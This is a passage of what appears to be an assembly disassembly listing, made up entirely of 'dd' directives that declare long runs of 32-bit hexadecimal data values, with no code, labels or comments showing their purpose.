		dd 48E02D72h, 0FF4E5A26h, 754C6B01h, 7EE1928Ch,	5D6830h
		dd 0E0C571C9h, 69E62094h, 799443E9h, 90B484CDh,	85BE553Ch
		dd 803C49h, 1B069E36h, 7E4EEC47h, 3A7C9062h, 4D8010F2h
		dd 86E58EBBh, 7C3CF1DDh, 0EB3B80A6h, 7E1E4C91h,	23973C7h
		dd 25C3D461h, 2C61AFF2h, 8CFEE45Bh, 9E449903h, 3864EF52h
		dd 3BF4E378h, 0D105BB81h, 80962811h, 0D0F15BA6h, 3793AD00h
		dd 0F569C10h, 83410076h, 0CC9FBA5h, 0A000332Fh,	0E4EE7F81h
		dd 60CB57h, 6B5C3858h, 0BF023F26h, 0B0C1FC1Ch, 529BAC00h
		dd 0A02C65h, 0B7F2A3F9h, 49C9E055h, 989AB501h, 7B2BFBFAh
		dd 0A8EFF050h, 0A6790084h, 91F90F4Fh, 0EA3D3B65h, 6F7A0CF3h
		dd 536808h, 0E6685076h,	243645E2h, 96DE31E2h, 0CEF22B41h
		dd 0A4E483C9h, 30A7138h, 0E8701068h, 0A90047E2h, 55802E33h
		dd 1C5AB8C2h, 42A420DEh, 0E3B19535h, 0E69638B0h, 0F6DD4900h
		dd 8BD83384h, 9AD00758h, 0A039DF71h, 3B1E5FADh,	4E00F97Ch
		dd 47DCD678h, 0A9C3F1h,	89CB1F20h, 1D13DDE8h, 9676D800h
		dd 5390799Eh, 3477F1Ch,	0AA4DFE80h, 0D78F5439h,	93FB825Ch
		dd 7A978380h, 0D2003F3Ah, 0D3DE9234h, 0CE8F1Bh,	648796CBh
		dd 919A4A02h, 7D0A2000h, 9BD0A729h, 43EA00D7h, 517846A6h
		dd 1001FFBFh, 0CF183CB6h, 8C60362Ah, 9DD3D24h, 0A6F1CBB0h
		dd 0FE001170h, 1CDE5569h, 188C6E5h, 73BBF8A1h, 20220FD6h
		dd 58C03460h, 359B69EAh, 1D1F00E2h, 1ABBD68h, 0E49CE27h
		dd 0F3070080h, 0D297062Bh, 8C6A54BEh, 9300032h,	91058CEFh
		dd 386081D4h, 0A05D17DEh, 0F4E4002Eh, 0FBDACA23h, 8304EDA5h
		dd 46F78FD4h, 0B6D7ECC0h, 1B430E7Eh, 0C6471311h, 0B8DAE004h
		dd 300726Dh, 0B2E7E08Dh, 240A14E6h, 39A0B5A5h, 0BD81707h
		dd 72AEA1C8h, 5D0267Bh,	9D4DB27Fh, 67CD1490h, 4CD7003Bh
		dd 55E30C45h, 0B8779F22h, 0A35220B0h, 80753CE8h, 8AFFB740h
		dd 0FA7B493Dh, 0BE2E00D8h, 30C2F232h, 85FAA222h, 0F70C7113h
		dd 81CF3000h, 4A52E0h, 7D9E206Bh, 4CBBF51Dh, 3EB40D00h
		dd 0FB0F687Bh, 0D78C00F1h, 0F4A8CCB8h, 15035C32h, 2C9B0B3Ah
		dd 0E0C9C398h, 0D3FB17h, 85AD92CEh, 0F962031h, 9386BA01h
		dd 59897190h, 36B5E8h, 0AA3A1A2Ah, 0C892E3C3h, 0ED333700h
		dd 0B32940F0h, 178B7293h, 40B707DAh, 0F3CE60C4h, 0E8283849h
		dd 1501A08Ah, 0ED1746Eh, 6CF47F55h, 200D00B9h, 1C804F4Dh
		dd 32047BECh, 9AF93C33h, 47C1FBC0h, 0AA7BADh, 948A75B8h
		dd 57F38963h, 22C09303h, 0E0FCAF7Eh, 47251Fh, 0EE4BD640h
		dd 0B8B68CD8h, 2D00FBF8h, 15926193h, 0B849520Bh, 0A3E22Dh
		dd 0A8723334h, 0EF8FEB86h, 808C3200h, 5816DE6Eh, 51941CD9h
		dd 21E40181h, 27870993h, 1AC40074h, 539D5BC6h, 0B0212CB8h
		dd 2772C434h, 1382BE6h,	0AF9E459Ah, 7440C20Fh, 82752444h
		dd 0E661640Fh, 0E1D5C030h, 72BB3A39h, 0D011029Ch, 0BD678F02h
		dd 0BE899C45h, 79FC413Fh, 0B25116C0h, 0C4B50004h, 0A8A9CE73h
		dd 14720B82h, 0B2841D00h, 6451DCF4h, 0AB50C0ECh, 31A91E3h
		dd 4284C59h, 0D4D82560h, 0C1047C90h, 5E7A0EA1h,	0A1B9017Eh
		dd 0D40AF1C7h, 2021436h, 93583CFAh, 0B37468CEh,	609EB087h
		dd 50C8506Bh, 0E37380Fh, 39001086h, 95EC3Dh, 98D9B49Bh
		dd 6E5B107Bh, 0B1786700h, 0EB47C8CBh, 566D2434h, 70BB008Eh
		dd 2CCCA6C7h, 2FF92300h, 68914003h, 0E5C0007Fh,	0BC268027h
		dd 740E6FBDh, 62F19CA6h, 0E0C5CAA0h, 77E827h, 0C2A564Dh
		dd 55D2F0B6h, 0D500A7ECh, 37B93CDBh, 24BFEADh, 0C8DFF4E9h
		dd 1CE749CAh, 0B2E81194h, 0ACC44Fh, 0D4183E45h,	44AC5E8Ch
		dd 0E083DA17h, 7C23060h, 7D2D1ECAh, 128B800Ch, 0A87FABA7h
		dd 9FB92000h, 0C5F87057h, 144F4C52h, 0DCAF1107h, 0CC63208Bh
		dd 0BE00C389h, 0E4B4AC56h, 64F99651h, 1C3E90AEh, 53A85080h
		dd 0A3ECE0h, 187DBB4Eh,	0D6C5FFD7h, 0C4268600h,	77D2D869h
		dd 0D4EA001Bh, 358850B0h, 0FB03BB51h, 9067CF78h, 6C98CA05h
		dd 0CD110558h, 9066102Ah, 0FB0BDDF0h, 0BE724002h, 80BFD388h
		dd 764D3A80h, 651300ECh, 77CB5CD6h, 0D90EA9DAh,	0E03DC4A6h
		dd 84A42E49h, 5FD0528h,	809F3CB2h, 98D61993h, 0F0B3FF00h
		dd 5190C74Ch, 0C0300077h, 0D8E82EDEh, 1300FECDh, 8AA7B85Bh
		dd 9820BA98h, 0C24A2EF4h, 1899D9F4h, 0C5583C48h, 9083B707h
		dd 0DB864734h, 15029080h, 0D7001AB6h, 0CDA6F7EEh, 3CBA7A3Dh
		dd 3002E25h, 0D5819DEBh, 0D8027859h, 3F74F512h,	0E0BC6316h
		dd 13AD1D4Ah, 0E80B48h,	212E8BCCh, 0F517DDFAh, 0F20051E1h
		dd 578D4E4Ch, 0DC601D37h, 3D1280E5h, 0B3270EB9h, 1800A490h
		dd 60C8967h, 52DE07Bh, 4744B1C0h, 38F014D3h, 17F192C0h
		dd 0EE0012DBh, 0E7BDE6ACh, 123AB0EBh, 59931B4h,	0CC4C7A48h
		dd 6F0221F4h, 34AAA95Ah, 0FB34C8A3h, 0F771027Ch, 0D0B1D63Fh
		dd 35128460h, 0F4582401h, 0B0F0532Ch, 1C0A09F0h, 4087A760h
		dd 1D7B6E81h, 0ED386825h, 20AA30EAh, 0A1234DAh,	0C044D8BEh
		dd 7AD10094h, 0FCA3BC18h, 65747200h, 0B19705EEh, 0F1F0BEh
		dd 67663A69h, 0A0176F29h, 56B20303h, 80ECAE1Dh,	2B764F0h
		dd 72841C9Eh, 3B60FC39h, 870050D0h, 51D9AA0Eh, 614F90h
		dd 8A291E3Dh, 62D0B684h, 34FA3F00h, 300DF625h, 63E200B7h
		dd 0B6986724h, 0BC003E51h, 60470F89h, 3827F57Ah, 5500184Fh
		dd 395386DDh, 0D0EDF30h, 0C78ED0C3h, 3440A57Dh,	3A3F5E49h
		dd 82804EEFh, 8B6B948h,	9AFC5B26h, 750E3090h, 20CF8936h
		dd 1D69C952h, 0E7F9008Bh, 2B63367h, 830077C8h, 4576A625h
		dd 28AD26h, 0CF411669h,	8736E5Ch, 4F10C800h, 77BC847Bh
		dd 19A500ACh, 92461EF6h, 3F0A3EDFh, 0E289E9F5h,	41F18639h
		dd 1E811514h, 126DFD55h, 0F185E8Ah, 24036B35h, 103CD1FEh
		dd 56270005h, 58803F73h, 0EFC61EABh, 1450037h, 0BB2C381Dh
		dd 0AD505D00h, 7A5EF74Dh, 733EE0Eh, 0E46EA105h,	7037B619h
		dd 2224E82Ch, 0BB524D03h, 0D6BC8354h, 0FD264868h, 0C4B0C600h
		dd 0B2F736B9h, 0B0DF053Bh, 7E0321FDh, 1C761DE0h, 35B549B1h
		dd 1FAD0580h, 3B03D6D1h, 6C233621h, 24B2D02Eh, 0D9840077h
		dd 0D5499918h, 7600D208h, 0E598BA7Eh, 3C7D1A40h, 38004F4Eh
		dd 8786A702h, 310043FAh, 0EAAC3AE0h, 1DA4AC2h, 2654063Fh
		dd 68633312h, 23B90E24h, 5CD760BDh, 44CE4142h, 9A009918h
		dd 0B4015993h, 4CFFB889h, 0EC7C243Fh, 4D98747Ch, 26002C3Eh
		dd 0ADF5E714h, 0B0F86F97h, 0EFE9D460h, 405E09h,	5B449E25h
		dd 0A1FB90F8h, 32E0771Fh
		dd 40BF8A8Fh, 0CC7E6664h, 0FF0100E6h, 55D3FA95h, 9600BD9Ah
		dd 0D00C0FF6h, 7643CDE7h, 0DCEA62h, 0E4EFD809h,	26A15199h
		dd 0D038EA01h, 0FBC38170h, 0ABACC0h, 0F6786294h, 0F4DC895Fh
		dd 0EF002F7Bh, 2DD9D3C3h, 0FCCAF81h, 0D5D12518h, 8296D700h
		dd 5C00C5EAh, 5DADA851h, 0E89CAC79h, 2080E310h,	37C5E680h
		dd 0DD070DE8h, 0E53E20A7h, 0BA5D671Fh, 0B87241D0h, 0F13130A1h
		dd 684DE230h, 3DC31900h, 569100Ah, 601C74D4h, 20AE212Fh
		dd 480FBE18h, 8198191Dh, 6C04C1DFh, 1E7EECh, 0AB87EADEh
		dd 293D2E2Dh, 0B0B35B00h, 0D8446C07h, 0D6C2317Eh, 0D8DC2D48h
		dd 8C03A656h, 0E95362B0h, 8910A8ABh, 3D4100D3h,	9461D7C3h
		dd 910CF5D6h, 0B1CDA5E5h, 1E7B43C4h, 3D8E196Fh,	91C4B022h
		dd 0A76D01D0h, 0D8206117h, 0A55F0002h, 0CAD86835h, 2354D7DCh
		dd 0A06F3194h, 0C98C6031h, 0E4EB41h, 4D68BFA3h,	0E82ACCD4h
		dd 0FC0FB206h, 1E85777h, 8A31702Dh, 0DC038D28h,	9059D85h
		dd 37C4905Dh, 0AB9C2380h, 441A01C2h, 20A1B0AEh,	1E8DC813h
		dd 7BD3C901h, 0C8818E06h, 85A7E0h, 1D999337h, 0D43CF23Dh
		dd 96110203h, 0C8D1B820h, 77CEC9h, 3CF99F0h, 402706F5h
		dd 8FC0193Bh, 0F2DFD4Bh, 9D6CE0A1h, 0EA88E4h, 5BE67D1Dh
		dd 349F436Fh, 6ACDA000h, 87E87875h, 0CE31C0FFh,	84899EC5h
		dd 0A76C8000h, 8F398807h, 202660BAh, 461C7F7Dh,	0C7B39603h
		dd 34B2E63Bh, 0C141F408h, 0E040BF96h, 50000936h, 525C24C8h
		dd 12CBC3F2h, 207759h, 1B64DC78h, 21F06B5h, 0C2CC1E5Bh
		dd 2A1C9CBh, 0BEF01D73h, 0B90288E0h, 8F1560BFh,	0E86C1E49h
		dd 1D08B180h, 48208185h, 0D0239982h, 3904E860h,	6DB0DC30h
		dd 4CCBDA60h, 0F9EE340h, 0CABBB980h, 4FCC85h, 201127B0h
		dd 400D754h, 2BC6B2AAh,	0FE617493h, 553A005Dh, 0B0529728h
		dd 69000641h, 42BE20A5h, 0A1ABCh, 7965E3CAh, 93D5E789h
		dd 0D3EECC00h, 0B9101762h, 0F62C007Dh, 0DA4091EDh, 533E47ACh
		dd 3F5C9D81h, 0F5440FC0h, 3193AAh, 0A2621A6h, 976BC759h
		dd 34075CF6h, 309CEE0Bh, 0F91AC9C0h, 7D1F01DCh,	1B6ED1B6h
		dd 83AE8090h, 0BA284449h, 41253E5Dh, 0F8C21F7Bh, 3C3F2435h
		dd 0DCF55200h, 20F298Bh, 0C9039D7Dh, 84CD10FAh,	0B3A1905Bh
		dd 6219C0FFh, 52452A0Fh, 230098E0h, 3BB1A2C0h, 15040ACh
		dd 4C849E22h, 705579CEh, 0D31BECBFh, 0F998D171h, 67004132h
		dd 6400C84Ch, 8E4BA026h, 0F81AEBFFh, 0CF6C305Fh, 0AFA7818h
		dd 0B70011Fh, 0AD553700h, 7456191Bh, 0F51F014Ah, 288FBBB8h
		dd 0A57130EAh, 98105528h, 3E75F7FEh, 8A72D000h,	56FB1DC1h
		dd 103901AAh, 43B9713h,	198C6015h, 0D8983300h, 0BF61216Fh
		dd 0D4C70EAEh, 3DAEF705h, 6EC0A3EFh, 3AC1D667h,	21C0A0E8h
		dd 383DE1BCh, 0B1C9A060h, 93E500A1h, 966D72B0h,	0AD60DE16h
		dd 0BEA71728h, 1E760BCCh, 7C83CB56h, 39A0C48Eh,	17010609h
		dd 97CDAA87h, 8270C347h, 0D643180Bh, 363858ADh,	8307B9EEh
		dd 6B706DA4h, 2C40C714h, 3937BCC3h, 9B14302h, 0D06A9C98h
		dd 0D2421FA4h, 33C13DFh, 18560E1Ch, 35253800h, 0ADAE01ECh
		dd 8944183Ah, 196A0863h, 591F20C0h, 0AC358D1h, 0B79DC683h
		dd 0AA585E68h, 0F06840EFh, 7A49F603h, 0A0822042h, 9E7FD8h
		dd 3796A7DAh, 0E72CAD86h, 7728400Ch, 60AE709Ah,	0D662E06Fh
		dd 0D30341BDh, 3ED1E1B1h, 0D52A986Ah, 7F090D2h,	0ED0781F3h
		dd 0E5D5055h, 0C300B229h, 239D3E1Ch, 522B1Bh, 1486767Eh
		dd 0F151DD84h, 0E9DC9B1Fh, 0D3DB8E7Ah, 6D0860AAh, 1F1FF509h
		dd 405C9C72h, 41606344h, 3603DF58h, 5224B74Dh, 30E3B3F8h
		dd 3F218F09h, 2F007A28h, 1A5E6D9Eh, 0C7CAAh, 3A3E1D17h
		dd 6A94805Ch, 8D7F5D01h, 6358C12Dh, 46D31210h, 7F498060h
		dd 15127B1h, 6D0C149Dh,	0F5368A15h, 0FD07F080h,	305BB5Ch
		dd 69287056h, 38390025h, 63FE719Ch, 0C418B35Ch,	320850B6h
		dd 1820C164h, 0FC7D8BF8h, 39015912h, 0B99BBC65h, 917149B3h
		dd 0A9A37880h, 7610EE73h, 0BEBB3A00h, 0F8AF2266h, 657500FFh
		dd 805DD8A6h, 400CC55Eh, 0D826CA0Fh, 882F006Dh,	0E549C42Ch
		dd 3200AB25h, 7AEEE19h,	9AA7EFh, 0E8588C4Ah, 0C9DC245Ch
		dd 2D35D700h, 0E3DEA34Eh, 80AA0EBDh, 0B783414Fh, 0CEB00F08h
		dd 440FF255h, 0C0762BABh, 0C7C80D19h, 0E43A3F04h, 9FB1928Bh
		dd 0D6405B8Fh, 76798A55h, 8785D53Fh, 8E1CC5C1h,	0DCCD59E0h
		dd 5B7482h, 63B19D60h, 0A23B4C94h, 1A0EB37Eh, 40A40649h
		dd 918F8BA1h, 2FA6006Dh, 0CBFC1F63h, 0C80113DBh, 37681BAEh
		dd 7CE092A4h, 817F03BCh, 679BA9DEh, 0D63423B8h,	0DF1DA800h
		dd 0A5CCB3Eh, 0AEEA00ECh, 0D808DAACh, 0B70364B8h, 0FA685FE9h
		dd 7C280641h, 187DAEA0h, 0F3004DEEh, 8E05FEC0h,	1FA438h
		dd 2299C565h, 36B315E0h, 3FCDBE00h, 8BBDA691h, 9B6A1D35h
		dd 0CACB09E2h, 893A0A80h, 1700D730h, 0B872B9Ah,	0AA1483h
		dd 0FCEA92EFh, 96D9CDD3h, 0EE3C5D7Bh, 0B27FFCFFh, 0ED9DDA19h
		dd 72C0C878h, 0CBBB1E65h, 0F9A9CC79h, 34A09960h, 0B400111Fh
		dd 0D66C436Dh, 3AFDCEh,	0A4B72BC7h, 0AB1CECA9h,	0E4DADC06h
		dd 0D0FFBDh, 0BB7C7F3Eh, 0BA911813h, 996B60F9h,	0E88E800Ah
		dd 0F30098CCh, 0B7D1DFA3h, 0A8E094h, 8D075364h,	45A6C52Ch
		dd 476075E4h, 4D9FE80h,	1C689031h, 0C0743EA8h, 95DA9419h
		dd 3306AB59h, 0FB64BA7Bh, 47721858h, 5CDA3839h,	7CABAF00h
		dd 7ECEBC6Bh, 0A5650C78h, 6E591775h, 0C9CFEA00h, 0C84854E3h
		dd 76E70ABEh, 3D090EFh,	627E4347h, 0C5721190h, 25FC7100h
		dd 0B27BA4A6h, 50C8007Ah, 9D63CEFEh, 0F1005498h, 5E1CF776h
		dd 6DF09Ah, 665F50B7h, 98DA1204h, 7A2C3Dh, 1A17BD79h, 0AF2EA3h
		dd 14F8554Eh, 4A85B46Eh, 0D1F8A1E2h, 0F1CCBA00h, 0B8366525h
		dd 0F5313EB6h, 0BFE61681h, 81F7712Eh, 0CF4C7870h, 1180B299h
		dd 0C9885916h, 1901BDCAh, 1690CA2h, 219F8BA5h, 689EF8FCh
		dd 0C51F40D7h, 0F5CC9C42h, 0B864860Fh, 4CF402Eh, 136D955h
		dd 62980F28h, 80B3E574h, 0BFEA440h, 0A976F0CCh,	0F8DC1978h
		dd 0CDDFCAFh, 0BEB41880h, 0EA18C898h, 0F6E823D4h, 0C13600A0h
		dd 0E1C8FDEh, 5E0048CBh, 925CDBEFh, 3AAFE1h, 0D2E94393h
		dd 0C0DD0156h, 14EDE4Ch, 0A4279451h, 3FC802F1h,	0D2EB00A2h
		dd 119C5209h, 0B1002B9Eh, 3B774810h, 9CCEEB5h, 99DC1FCh
		dd 0E32A6800h, 8C17E628h, 0C3006E73h, 80190B36h, 0E93D002Bh
		dd 9B79042Fh, 62002290h, 6A751303h, 0A03918AAh,	560D5D9h
		dd 9DC5D73Bh, 2848036h,	0CC008605h, 8EB1BD27h, 1C7A55Ch
		dd 0B2C2D056h, 810C0D51h, 0AB11C420h, 30F493E6h, 0E310099h
		dd 0D9857325h, 5A1DC5E4h, 0CB1DDB6Eh, 50812380h, 1D078805h
		dd 81702815h, 6CE1677h,	47718339h, 0A04E83E9h, 69DC62h
		dd 0C3FDF96Ch, 516D8C3Ch, 862C06F8h, 570009DEh,	0DC781146h
		dd 5E5C060Ah, 206FC08Ch, 5D446C1Ch, 28FBE947h, 0D1A71BF7h
		dd 0B340DA44h, 0FD4F42C0h, 0E5EF6E00h, 5C8DD4F5h, 367F00F7h
		dd 34D92265h, 0E600C43Ah, 0E3DA2743h, 0AE0968h,	69B37914h
		dd 0CB44B08Dh, 0F9C9291Fh, 0DB84ADC7h, 0DACC9BC0h, 0C642007Dh
		dd 5C5AC5Dh, 0C200631Fh, 0EDF1815Bh, 77ADB5h, 0C17339FDh
		dd 76534049h, 0EE7A7900h, 0E695AF44h, 1CB40F67h, 0F46031C9h
		dd 960F2493h
		dd 3AF03503h, 0C8C1EAE1h, 7F109920h, 98C70E5Ch,	9683B0ADh
		dd 0C588191Ah, 0C93EAE0Ah, 579389B7h, 8D7F02E2h, 40C05DA0h
		dd 6DFCE41Eh, 0D8AFAA39h, 83DE3E28h, 7674E9EEh,	4092B0D6h
		dd 147EA7h, 0EAD13C02h,	353BFF43h, 583299E0h, 0E0E510D3h
		dd 0ED1490h, 0E11C5275h, 0D835BFB9h, 100FDFEh, 573D9167h
		dd 1C277D5h, 0BF93641Eh, 2153BA3Bh, 3808E8EBh, 74E1D48h
		dd 0A0A344F4h, 0D7EC3990h, 3CFCDFh, 2690045Fh, 2D36C0B7h
		dd 0B64DAB00h, 695C42AAh, 0E1FF0394h, 0D83B9302h, 56AF5988h
		dd 80079D3Bh, 0B9AA474Ah, 3CF64Bh, 0F3DFD30h, 0F755C635h
		dd 14857501h, 0E24C1BE4h, 650C1840h, 42D8C15Ch,	61D1538Ch
		dd 1B0C2083h, 8200177Ch, 72495EC1h, 1D6D362Ah, 801577DEh
		dd 16521067h, 2428FF0Fh, 63222C13h, 84143D5h, 47C78F7h
		dd 4616B4EFh, 14F810FAh, 2CAA0135h, 316F3008h, 0E95C4804h
		dd 45969F42h, 135F9D02h, 99EAE4A0h, 0DD423BEEh,	0D1642608h
		dd 18CF0510h, 2E86360h,	3184819Ch, 0B9B1EE0Bh, 0D0EC095Eh
		dd 3AE71563h, 120A2CD6h, 1D844027h, 171C88D9h, 3D10901Ch
		dd 585D607Eh, 9EB688D8h, 0CF580A8h, 18C1F800h, 3E4A5B1Ch
		dd 96CB6080h, 26C68245h, 1A474B03h, 0A0A42B35h,	1CD599D2h
		dd 4C9C81E2h, 0DE80C07Dh, 6865601h, 0FD8CCC4h, 0F9DAE0C6h
		dd 4C1F0077h, 3F5BFB7Eh, 30FCDB8h, 878628AAh, 0F8A2B9F7h
		dd 5BA88092h, 0EC3663h,	0A39AE708h, 84F7D8F2h, 0F8389400h
		dd 0ACAD2A4Fh, 1C4B0162h, 2EC18323h, 3A188ECDh,	2583FC9Bh
		dd 0C084764Eh, 0A0B10273h, 633D49Ch, 5467149Dh,	11006841h
		dd 0AD3AB7B2h, 355FF9Ah, 1AE3B1D6h, 64C09BAAh, 0C0C5F820h
		dd 98401176h, 0A2D83A27h, 496600FAh, 6E6CEA1Ch,	0B1390F79h
		dd 9DBA005Eh, 0CD633AE4h, 1617446h, 5DB9D1B3h, 5412FFDFh
		dd 11E803B4h, 0ED8032EBh, 0E31D3E71h, 19805124h, 0E08FB47Bh
		dd 3CF03FFFh, 2FF4D200h, 986412B0h, 4ED3B901h, 1E9C068Ch
		dd 0F868A840h, 7C5449A8h, 66B7D80Eh, 39405502h,	56FFDD80h
		dd 9F00DFB2h, 0F6A46121h, 0C06BB3E8h, 0D34B089h, 190CFBF4h
		dd 0E913E0D8h, 4C7E0138h, 947AEFF2h, 28D1E43Dh,	0DF01B27Eh
		dd 4BE08E89h, 0D1808A6Ch, 281FDEBBh, 0A248FDAFh, 781703B0h
		dd 0A4C6F3F8h, 0B25630C3h, 0B7D448BCh, 0DF5B0FC8h, 891823E1h
		dd 69180E77h, 0E81115A6h, 22670118h, 890DC53Eh,	2013C5F4h
		dd 63008B64h, 6D4C3A3h,	13ADD37h, 0CD577750h, 0D0AC654Ah
		dd 2F18F1DAh, 0FF3018E4h, 0E2E7022Bh, 9F61987h,	43B88763h
		dd 6F48C421h, 56360077h, 0C8EF3876h, 85F200CCh,	0FB997322h
		dd 0FEC0E0D6h, 2B92FFA5h, 84D507C7h, 80A626B6h,	42CF9C01h
		dd 0A4A9861Fh, 20DD6E0Eh, 5B6BDE02h, 6AD70FC5h,	0ACE0448Eh
		dd 0DCF88DD0h, 834FCB09h, 1A98021Fh, 0FE5600DEh, 94A0AB36h
		dd 73079015h, 9DAECEAh,	649CFD1h, 8103C89Ch, 41EBB516h
		dd 1F8CC4CCh, 1000BEAh,	61FE3070h, 245DD244h, 130C8257h
		dd 51AB005Fh, 0C700E28h, 17F39C1Eh, 2F1CDA40h, 0AB8B39h
		dd 8E8C8849h, 68FFDDB4h, 4EE9DB00h, 7058792Dh, 0E9000B9h
		dd 0D1E24DCFh, 8700C297h, 0ED86D42Ch, 3137C46h,	425198C8h
		dd 0FDD0A8EFh, 0B8B097A1h, 33B9011Fh, 8682B680h, 0F254A5Dh
		dd 56168823h, 0BBD9C0BFh, 26D84642h, 0CB2BBF00h, 5F75ECF6h
		dd 0B990003Fh, 6106C0Dh, 940F044Bh, 20CCED22h, 2F44DCBAh
		dd 68D50320h, 0AB6764AFh, 6BBE70EFh, 0FC00471Eh, 0F2016372h
		dd 46B662h, 58FBD0F4h, 881799F9h, 0D4EE8300h, 70B07B3Ah
		dd 0D3B0F2h, 0A0BA7EF1h, 927DFBFFh, 0F00F3200h,	0CBEE28D0h
		dd 80170058h, 98E26661h, 1005F83h, 7D301890h, 0EB51934h
		dd 0EC1B1A2Eh, 7340DEAFh, 0C5C44A57h, 936548h, 40FDBAF5h
		dd 0C0C762Ch, 0EF7D3489h, 4A58E19h, 0F08BF0h, 0CDEC63C5h
		dd 830D396Bh, 4F2D6A00h, 9286B457h, 1EEEF1h, 663A9F8Bh
		dd 4755A5EDh, 930C29D2h, 12E2850h, 8B3E05C6h, 567E5D3h
		dd 3029F786h, 1B515695h, 300C5484h, 29DE478Bh, 0F912E5F5h
		dd 0BBA33C83h, 0DD442974h, 9DA74409h, 198056FEh, 1FE50AD0h
		dd 36286F8Bh, 0A142291Eh, 2CA65F0Ch, 3944A3C8h,	0C5B2445Bh
		dd 6729D361h, 788C557Ch, 6C293297h, 31222A20h, 91A17429h
		dd 0D051B89Ch, 7B63B750h, 16D48D29h, 617650h, 514569D5h
		dd 7C002671h, 0FE9E3187h, 0BCD3278Ah, 62F80007h, 443FFF07h
		dd 6ACD00Fh, 6D304071h,	7545EE1h, 5FFDE480h, 0EDC3A0BAh
		dd 840008A6h, 3B63FCFAh, 0DBBF46h, 0DADF4C05h, 79F47E96h
		dd 0ECD2EE0Eh, 1CA2720h, 0E0187510h, 57690055h,	63F743B8h
		dd 0BD002703h, 196AD4CBh, 79D7441Bh, 0F8700A3h,	0EE29F4D0h
		dd 42006D5Dh, 0D1785E9Eh, 6168930Eh, 69FA1016h,	0D03BF57Fh
		dd 9A00F61Ah, 0C57D8F8Ah, 0E0F881h, 6792552Dh, 0F5EC599Dh
		dd 0D079311Eh, 0FD3A5E87h, 1B91E160h, 3DCC0022h, 5B816CF8h
		dd 0C314085h, 76D2602Ch, 0CA684C0h, 810D33E9h, 5B00F534h
		dd 69EB7307h, 5A266Ah, 6745D7B2h, 0C3998ABEh, 0EC541100h
		dd 838BDEE2h, 62DF0055h, 68222EAFh, 3C1E24B4h, 740875Eh
		dd 0A44B9B49h, 2B981FA9h, 1C11C084h, 60C94ACCh,	4FC6180Ah
		dd 9A00C05Fh, 3BECA5D3h, 0BAF11CF9h, 8BD640ADh,	1F54923Ah
		dd 2F8CF00Fh, 0F887E0C9h, 0E5158CCh, 0A3FD06DDh, 6DCDFA40h
		dd 210052B7h, 0AD09DF6Ch, 5DA5E0h, 0B13FCB8Ch, 0C2E32353h
		dd 0B5866100h, 630B4817h, 43B70172h, 0DADCC0B9h, 0C84FE421h
		dd 1E8C91Eh, 6D40A29Eh,	9FE5525Eh, 0E34E009Eh, 0EE728D92h
		dd 133B412Eh, 0B6A85F26h, 2CEB3200h, 0D4552B56h, 5CD28C00h
		dd 2F53421h, 308300AEh,	0ED191868h, 0C500ADF8h,	0D387A372h
		dd 0C6B912h, 778F3EFFh,	557060BBh, 8C7BB001h, 5C84B28Bh
		dd 6838DA80h, 62170658h, 0A900C076h, 5565BB7Eh,	7CFAC9B5h
		dd 53740081h, 5243FC15h, 5B009160h, 662490D3h, 0B4CBB7h
		dd 98341AF5h, 0DA55CC6Eh, 0B079EA00h, 0B8C7674Dh, 4C01009Ah
		dd 0E70629CFh, 0FC0056D6h, 9E89A62Fh, 1528670h,	0CCF4626Bh
		dd 0E0C4C2C6h, 0AC0073F8h, 0D8C06181h, 3DB2C1h,	30470ABCh
		dd 0CC8DA840h, 5A93650Fh, 9BD002EBh, 0F137C0C6h, 5E02002Ah
		dd 0A96A0573h, 0E17D3B23h, 98520903h, 0E045BAF7h, 30969C62h
		dd 1A04E37h, 1673C22Eh,	0B090EC00h, 34AB31E2h, 2ADC0F4Bh
		dd 300608Ah, 0EB14ED6Ch, 0FA002674h, 84AA53DFh,	1ED111F3h
		dd 7615E78h, 0B0587E95h, 0D220C33Eh, 0A00A6700h, 801059D9h
		dd 81631D1Bh, 0C99AC0B2h, 712507C2h, 0FC746700h, 0C3BD226h
		dd 1E9CEE0Dh, 8077B2A6h, 832F89C9h, 4200DF4Bh, 13BFAB97h
		dd 5465807h, 0C18A0C5h,	8FC28033h, 3007FE80h, 2112D996h
		dd 0AC78FC20h, 3D17AB2h, 0C1B7896Dh, 9980E9E1h,	2601BAF6h
		dd 0A82BD693h, 1530BD73h, 953700B8h, 0B35447C4h, 8B09034Bh
		dd 801593BEh, 85BAA0E7h, 2570024h, 731EA667h, 40505EC1h
		dd 480F9AEDh, 0A0EC0AA1h, 45CA61D8h, 35E8017Fh,	7EC3B8B1h
		dd 6BCA2089h, 0E140D400h, 6212C815h, 65C9078Ch,	336EA168h
		dd 3C0A58Ah, 0C2E0C0BAh, 1D44C48h, 7BB1C151h, 27CCF990h
		dd 0BB260067h, 0C345CBCCh, 0B6005E56h, 0C0E7AE32h, 0F823B995h
		dd 0E62A004Ch, 0EE927ED4h, 53F8B462h, 36B24E00h, 5AFC95DDh
		dd 1C7A1D16h, 0A2884055h
		dd 0D98BACF7h, 0F8EE9400h, 6C664292h, 0A913079Ah, 398D5825h
		dd 0C49EC783h, 70908899h, 0BC01F6EAh, 0F4DB235Dh, 0B5EC1B69h
		dd 82D112CCh, 87B9033Ah, 0F0B8FD2Fh, 0E03C16C6h, 420C00D8h
		dd 1A34025Ah, 7D0900D3h, 0C9597860h, 0B83DB9F0h, 0B3FFCh
		dd 0E3F6AA81h, 1224A70h, 5EE6D5BEh, 0E84EC81Ch,	0F80FD085h
		dd 835C92BAh, 0E035491Dh, 380AD9ADh, 3F009FABh,	0C7C5A1D0h
		dd 0E70FEB48h, 8ED360h,	0AD9C128Ch, 55DB0014h, 0A2A9C7FEh
		dd 0FA589B7Fh, 8B41412h, 0DC9C16E4h, 2B636D00h,	985A189h
		dd 825CAEBEh, 0A0C75B07h, 99CFEED9h, 8C93D00h, 0C45241A2h
		dd 74DB0060h, 871DFA0Dh, 4B011719h, 0F23AAA66h,	75FCA082h
		dd 6A7595h, 0CF4926F1h,	0F868A816h, 390012FEh, 7C18DC44h
		dd 7F6AED93h, 4A401EB0h, 0A8F80073h, 899B50A4h,	5D2E307Ah
		dd 0FA85B072h, 5080DC7Dh, 0F12F3A9h, 0BFEEC2D4h, 50494BE0h
		dd 73E41F27h, 2F912B00h, 0F338BCACh, 89613D98h,	44141E82h
		dd 424355A3h, 8E58C1B8h, 86F4E100h, 28D9377Ch, 4127006Ah
		dd 45C8E3BBh, 9C011830h, 0D32B8D4Fh, 68E8027Bh,	0FA3D60F9h
		dd 40286C55h, 22242F0Eh, 0C40580D7h, 0C67735h, 0BBF9372Dh
